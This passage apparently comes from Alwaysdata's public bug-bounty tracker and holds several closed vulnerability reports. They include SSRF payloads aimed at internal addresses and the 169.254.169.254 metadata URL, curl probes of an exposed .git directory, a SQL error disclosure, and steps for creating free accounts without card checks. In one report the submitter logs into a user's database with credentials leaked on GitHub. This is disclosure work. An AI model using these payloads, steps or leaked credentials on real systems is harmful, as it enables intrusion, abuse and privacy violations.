POST /site/1072866/
with:
type=reverse_proxy&url=http://poc.$C/upstream
plus the addresses formset.
Response:
302 → /site/
The configuration is accepted with no validation error.
Wait approximately 20 seconds for the install task.
4. Trigger the fetch
GET http://mchunt.alwaysdata.net/reqpath
The response body is the Collaborator's response.
Response headers show:
server: Burp Collaborator via: 1.1 alproxy
Collaborator logs a DNS + HTTP interaction originating from Alwaysdata infrastructure.
5. Internal differential
Repeat step 3 with the following upstream URLs and re-request the site:
http://127.0.0.1:80/
→ HTTP 404 "Site not found", via: 1.1 alproxy, 1.1 alproxy, <1 second.
http://127.0.0.1:6379/
→ 503 in ~0.6 seconds (connection refused).
http://169.254.169.254/…
→ 503 after ~20 seconds (link-local not routable; no AWS/OpenStack IMDS).
http://10.0.0.1/
→ 503 in ~1.5 seconds (fast RST → host on the internal segment).
http://192.168.0.1/ http://172.16.0.1/
→ 503 after ~20 seconds (filtered / no route).
In every case, the save succeeds with no guard error and the reachable body is reflected back.
6. Redirect behavior
Using:
url=http://google.com/
returns the raw:
301 Moved
upstream response.
The proxy does not follow redirects, so the FS#460 redirect-follow variant does not apply here.
PoC poc/ssrf_reverse_proxy_reflected.sh Helpers:
rp_edit.py form_submit.py Evidence
External reflected read (request-time): Collaborator HTTP log:
GET /upstream/reqtime HTTP/1.1 Host: rpsave.<collab> via: 1.1 alproxy, 1.1 mchunt.alwaysdata.net X-Forwarded-For: <my-ip> X-Forwarded-Host: mchunt.alwaysdata.net
→ HTTP 200, with the upstream body reflected to me.
No-guard save:
POST /site/1072866/
with:
url=http://169.254.169.254/latest/meta-data/
Response:
302 → /site/
The save succeeds.
Re-reading the edit form shows:
name="url" value="http://169.254.169.254/latest/meta-data/"
The internal reachability differential described above demonstrates that the fetch node is on / routes to the 10.0.0.0/8 network.
Impact
This provides authenticated SSRF from Alwaysdata's shared proxy/backend infrastructure with full response reflection.
The fetch node routes into the internal 10.0.0.0/8 datacenter network.
Demonstrated impact:
Reflected full-read SSRF Internal network reachability
Remediation Apply an egress allow/deny policy on the reverse_proxy upstream fetch.
Specifically:
Reject upstreams that resolve to loopback, link-local, RFC1918 and Alwaysdata's own infrastructure ranges at save time. Re-validate the destination after every DNS resolution and redirect. Firewall the proxy/backend fetchers off the internal 10.0.0.0/8 control network to prevent internal network reachability. Confirm that the FS#460 /461/462 guard is actually wired into the live reverse_proxy fetch path.
|
|
466 | Exposed .git directory at security.alwaysdata.com (regr ... | Closed | 31.08.2026 |
Task Description
EXPOSED .GIT DIRECTORY AT SECURITY.ALWAYSDATA.COM (REGRESSION OF FS#428 )
Target: https://security.alwaysdata.com/.git/ Class: Information Exposure (Sensitive File / Source Code Metadata Disclosure) Finding type: Regression (previously fixed vulnerability re-introduced)
SUMMARY
The .git directory on security.alwaysdata.com is publicly accessible. Core Git files (config, HEAD, index, packed-refs, refs/heads/master) return HTTP 200 with no authentication. The same issue was reported as FS#428 and closed as Fixed on 01.08.2026 by cbay. It is back 28 days later.
Exposed: repository metadata, the full deployment file tree (942 index entries), branch names, and commit hashes. The object store (objects/) returns 404, so the source code itself cannot be fully downloaded.
VULNERABILITY DETAILS
Exposed files (HTTP 200):
/.git/config -> Repository config, origin = github.com/flyspray/flyspray.git
/.git/HEAD -> ref: refs/heads/master
/.git/index -> Valid Git index file (DIRC magic), 942 entries, 102 KB
/.git/packed-refs -> 40+ branches (including remote branches)
/.git/refs/heads/master -> Commit hash a1ffafd65d5662d69e8b0334315b857449e3ea38
Not exposed (HTTP 404):
/.git/objects/<hash> -> Object store not accessible
/.git/objects/info/packs -> 404
/.git/info/refs -> 404
STEPS TO REPRODUCE
1. Repository config is readable:
curl -s https://security.alwaysdata.com/.git/config
2. HEAD returns the active branch:
curl -s https://security.alwaysdata.com/.git/HEAD
Output: ref: refs/heads/master
3. Index is a genuine git file (first 4 bytes = DIRC):
curl -s https://security.alwaysdata.com/.git/index | head -c 4
Output: DIRC
4. packed-refs leaks the branch list:
curl -s https://security.alwaysdata.com/.git/packed-refs
5. HEAD commit hash:
curl -s https://security.alwaysdata.com/.git/refs/heads/master
A full runnable PoC script is attached (poc_git_exposure.txt).
IMPACT
1. The deployment file tree is exposed. The Git index lists every file on the server (942 files). An attacker can map the app and knows exactly where to look for more bugs.
2. Repository metadata leaks. Branch names and commit hashes reveal the software version and internal development patterns.
3. The fix did not hold. FS#428 was closed as Fixed on 01.08.2026, but the same issue came back. Most likely the deployment was redone without removing the .git directory from the document root.
RECOMMENDED FIX
1. Block web access to the .git directory at the server level (Apache Directory directive or rewrite rule).
2. Remove the .git directory from the deployment document root. Repositories should live outside the folder served to the public.
3. Add a regression test to the deployment process so the .git directory cannot reappear later.
4. Review access logs to check whether the .git directory has ever been downloaded.
|
|
465 | Potential SQL Injection via getfile Parameter | Closed | 31.08.2026 |
Task Description
Summary:-
The getfile parameter at https://security.alwaysdata.com/ appears to be insufficiently validated. Appending a single quote (') to the parameter causes a PostgreSQL database error, revealing the backend SQL query and parameter value.
Step to repro:-
1. Open the following URL: https://security.alwaysdata.com/?getfile=1%27
2. Observe the returned error: Query {SELECT t.project_id, a.orig_name, a.file_name, a.file_type, t.* FROM "flyspray_attachments" a INNER JOIN "flyspray_tasks" t ON a.task_id = t.task_id WHERE attachment_id = ?} with params {1'} failed!
ERROR: invalid input syntax for type integer: "1'" CONTEXT: unnamed portal parameter $1 = '…'
3. The error indicates that the supplied getfile value is being passed to a PostgreSQL query as a parameter and that the application exposes internal SQL/database error details.
Impact: Database error messages are exposed to unauthenticated users. Internal SQL query structure and database implementation details are disclosed. If the parameter is vulnerable beyond type validation/parameter handling, this could potentially lead to SQL injection and unauthorized database access. The disclosed SQL details can assist further targeted attacks.
|
|
464 | Exposed always data user configuration details | Closed | 27.08.2026 |
Task Description
Always data cloud mysql datasource configuration and alwaysdata database configuration details of an Alwaysdata user exposed in the github repository.
So i logged in to https://phpmyadmin.alwaysdata.com/ and i was able to access the database.
The github repo where the credentials are exposed : https://github.com/sushma23nov/CineBook/blob/33bdee3d8c94bbf51156d78466b5682343bac9b6/database.md?plain=1#L28
Fix : Ask them to store it in .env and to add it in .gitignore , and create a config file seperately for storing the configuration details.
|
|
463 | Transitive Bypass of Credit Card Verification via Neste ... | Closed | 26.08.2026 |
Task Description
1. Summary Alwaysdata requires users to link a credit card during standard public registration (/register/). This check prevents automated free-tier abuse and disposable botnet setup.
An inconsistent check exists in the profile invitation feature (/permissions/add/):
An existing account owner (User A) invites an email address (User B) with zero permissions. User B confirms the email link, sets a password, and enters basic profile information (address and phone number) without any credit card or OTP verification. User B opens admin.alwaysdata.com and creates an independent free hosting account (1GB disk, 256MB RAM, 0.25 CPU, dedicated SSH, public IP, HTTP server) directly from the panel without ever being asked for a credit card. This behavior is transitive. User B can then invite User C, who completes the same onboarding flow (password, address, phone) and creates another free hosting account without linking a payment card. This chain allows someone with a single verified account to create unlimited independent free hosting accounts without linking a payment card to the new accounts.
2. Technical Details The Logic Gap Alwaysdata separates user identities (Profiles) from compute containers (Accounts).
Public registration flow: A visitor fills out the registration form, links a credit card, and the system provisions an account. Invitation flow: When a user registers through an invite link, the onboarding form asks for a password, name, address, and phone number, but completely skips the credit card step. Once logged in, the admin panel allows the user to provision a new free hosting account without checking for a payment card on file. Public Registration: User → Public Form → Credit Card Check → Free Account Created
Invitation Chain: User A (Verified)
> Invites User B (0 perms)
> User B confirms email, sets password, enters address and phone (No card check)
> User B opens panel and creates Free Account (e.g., ssh-zerr9)
> User B invites User C
> User C confirms email, sets password, enters address and phone (No card check)
> User C opens panel and creates Free Account
3. Impact Unbounded Free Hosting Creation: A user can create multiple independent hosting accounts with active SSH, custom domains, web services, and database instances without linking a credit card to each account. Missing Payment Accountability: Downstream accounts created through the invitation chain have no financial record on file. If these accounts run abusive scripts or phishing pages, Alwaysdata cannot trace them back to a payment method. 4. Steps to Reproduce Log in to https://admin.alwaysdata.com/ using an existing account (User A). Go to https://admin.alwaysdata.com/permissions/add/. Enter a new email address (User B), uncheck all permission boxes, and submit the form. Open the confirmation link sent to User B. Set a password and fill in the address and phone number fields. Notice that the registration finishes without asking for a credit card or SMS OTP. Log in to https://admin.alwaysdata.com/ as User B. From the dashboard, click to create a new account, select the Free plan (1GB disk, 256MB RAM), and confirm. Confirm that the account provisions immediately with full SSH and web access (e.g., ssh-zerr9.alwaysdata.net). While logged in as User B, go to /permissions/add/ and invite User C. Have User C confirm their email, complete the password and address setup, log in, and create another free account. The account provisions without asking for a credit card. 5. Suggested Remediation Check Payment Details on Account Creation: Require a linked credit card on the account creation action itself (/account/add/), not just on the public registration form. Restrict Invited Profiles: Require invited collaborator profiles to add and verify a payment method before they can spin up standalone hosting accounts. Limit Invitation Permissions: Only allow profiles with verified payment details to send out new user invitations.
|
|
462 | SSRF guard does not cover your own infrastructure, whic ... | Closed | 26.08.2026 |
Task Description
Summary
The address guard added after FS#401 decides on private versus public address ranges. It refuses RFC1918, loopback, link-local and ULA. Your own internal hosts are not in any of those ranges: they sit in your global allocation 2a00:b6e0::/32, which the guard treats as ordinary public space and allows. From inside, www, admin, api and webmail.alwaysdata.com all resolve to 2a00:b6e0:1:84:1::1, which is overlord-core.paris1.alwaysdata.com, and none of those names publish an AAAA record publicly. So the guard leaves the hosts it most needs to protect in its permitted class, and no parser trick is required to reach them. This is a different root cause from FS#461 , which is about how IPv4 literals are parsed rather than which ranges the guard treats as safe.
Vulnerable asset
Root cause
The guard implements a deny list of private ranges rather than an allow list of destinations the fetcher is permitted to reach. That model only works when everything sensitive is inside those private ranges. On your platform it is the other way round: tenant services are given ULA addresses, which the guard blocks, while your own management hosts use globally-routable addresses, which it allows. The guard therefore protects tenant-to-tenant traffic and leaves your own infrastructure exposed to it.
Attack path
Everything below was measured from a script object on my own account and from my own shell on ssh2. I did not connect to any of your internal services.
First, the guard does block ULA, and I proved that with a service of my own rather than by inference. I ran python3 -m http.server 8199 on my account, which binds to my tenant address fd00::7:89a5, serving a file containing a marker. Note that ip -6 addr does not list that address, only the node's 2a00:b6e0:1:50:1::1, so the bound address has to be read from ss -lnt. From my own shell the URL works:
$ curl http://[fd00::7:89a5]:8199/marker.txt
SSRF-RANGE-PROOF-2a00b6e0
Submitting that same URL as script_upstream_uri returns in 0.632702s, repeated at 0.590323s, and leaves the installation script field at its baseline, so nothing was fetched.
That the fetcher can actually route to that address is not something you have to take from me: it is in FS#460 , which you fixed and paid. That report records direct http://[fd00::7:89a5]:8080/ 0.601s refused by guard alongside redirect → http://[fd00::7:89a5]:8080/ 20.381s connection attempted, timed out. Same address, same fetcher. So a sub-second answer with an empty field is the guard refusing, not the network failing.
Second, the guard allows global IPv6, and there the fetch really happens. Pointing the field at example.com's AAAA record returned the origin's response body, which was stored in the installation script field where I read it back:
script_upstream_uri = http://[2606:4700:10::6814:179a]/ 0.595333s
What landed in the installation script field was the origin's own error page: "400 Bad Request" as both the title and the heading, ending with a footer line reading "cloudflare". I have written its text out rather than pasting the markup, since raw tags do not survive this tracker's formatting. The point is not the page itself but that a body came back from a global IPv6 address and was stored where I can read it.
Third, your own hosts are in that allowed class. From my shell on ssh2:
$ for h in www admin api webmail security; do getent hosts $h.alwaysdata.com; done
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com www.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com admin.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com api.alwaysdata.com
2a00:b6e0:1:84:1::1 overlord-core.paris1.alwaysdata.com webmail.alwaysdata.com
2a00:b6e0:1:210:1::1 security.alwaysdata.com
From the public internet the same names resolve to 185.31.40.5 and publish no AAAA at all, so those v6 addresses are an internal view rather than something the public is directed to.
Putting the three together: an address in 2a00:b6e0::/32 is accepted by the guard, an address the fetcher can reach is fetched and its body is handed back to me, and your own management hosts live in 2a00:b6e0::/32.
Impact
Any HTTP service on your internal hosts is reachable from this fetcher and its response body is readable by the customer who submitted the URL, with no notation trick as in FS#461 and no redirect as in FS#460 . The guard does not stand between a customer and your infrastructure, only between a customer and other tenants.
This matters more than a single bypass because the guard is currently the whole protection on this feature. The FS#460 fix removed redirect following, so there is no second control behind it.
Your own tracker sets the context for what class of host is in that permitted range: FS#415 describes overlord-core as the core management server for the platform. That is the same host this fetcher runs on and the same host the internal names above resolve to.
I stopped at demonstrating the address class. Following the SSRF guidance in your rules I did not connect to any internal service, so I cannot tell you what is listening there or what could be retrieved. I am happy to demonstrate that on request or in a development environment.
Suggested fix
Reverse the model. Rather than denying a list of private ranges, deny everything and allow only what the feature legitimately needs, which for an installation script source is public HTTP outside your own networks. At a minimum, add your own allocations, including 2a00:b6e0::/32 and any other prefix your infrastructure uses, to the refused set alongside the private ranges, and apply the check to the resolved address rather than to the submitted string.
It is also worth deciding whether this fetcher needs to run on the management host at all. Moving it to an egress-restricted worker would make the guard a second line of defence rather than the only one.
Testing notes
All testing used a script object on my own account, which has been deleted, and a listener I ran on my own hosting account, which has been stopped and removed. Manual requests only, no automated scanner. I did not connect to any of your internal services: the only destinations fetched were example.com over IPv6 and my own hosting account. The DNS observations come from ordinary getent lookups on my own shell.
|
|
461 | Incomplete fix for FS#401: SSRF guard does not normalis ... | Closed | 26.08.2026 | |
|
460 | Incomplete fix for FS#401: SSRF address guard is not re ... | Closed | 25.08.2026 | |
|
456 | Working Directory Path Traversal Allows Directory Enume ... | Closed | 24.08.2026 | |
|
455 | Cross-Tenant Write Primitive via World-Writable Shared ... | Closed | 19.08.2026 | |
|
454 | Per-Site WAF Partial Bypass: application/xml Bodies Onl ... | Closed | 19.08.2026 | |
|
453 | Per-Site WAF Bypass: application/json POST Bodies Are N ... | Closed | 19.08.2026 | |
|
452 | FINDING-5 — Cross-Tenant Loopback (127.0.0.1) Service E ... | Closed | 19.08.2026 | |
|
450 | Per-site WAF fully bypassable by any co-tenant — attack ... | Closed | 20.08.2026 | |
|
449 | Service Working Directory Path Traversal Allows Filesys ... | Closed | 19.08.2026 | |
|
446 | Missing Authorization Check Allows Unauthenticated Acce ... | Closed | 19.08.2026 | |
|
445 | High — FS#390 Incomplete Fix: Runtime-Control Environme ... | Closed | 19.08.2026 | |
|
443 | Authenticated API Disclosure of DKIM Private Keys | Closed | 13.08.2026 | |
|
442 | Cross-User File Read / Insecure File Permissions Leadin ... | Closed | 13.08.2026 | |
|
440 | Incomplete Fix for FS#426 - Staff Files Still Publicly ... | Closed | 10.08.2026 | |
|
438 | Title: Domain Transfer Logic Flaw Allows Domain Takeove ... | Closed | 18.08.2026 | |
|
433 | Password Reset Tokens Not Invalidated After Password Ch ... | Closed | 07.08.2026 | |
|
432 | Improper Cache Control Enabling Sensitive Data Exposure ... | Closed | 05.08.2026 | |
|
430 | Cross-Tenant Localhost Access via Shared Network Namesp ... | Closed | 02.08.2026 | |
|
429 | Cross-Site Request Forgery (CSRF) Allows Unauthorized L ... | Closed | 02.08.2026 | |
|
428 | Retrievable .git directory exposes source code of secur ... | Closed | 01.08.2026 | |
|
427 | Cross-Account Takeover via Token Re-Partition | Closed | 04.08.2026 | |
|
426 | Internal staff account and privilege hierarchy disclosu ... | Closed | 04.08.2026 | |
|
425 | Race Condition Allows Mass Permission Creation Bypassin ... | Closed | 29.07.2026 | |
|
424 | Price Manipulation leads to add domain in lesser price | Closed | 29.07.2026 | |
|
423 | Broken Object Level Authorization (IDOR) → Mass PII Dis ... | Closed | 10.08.2026 | |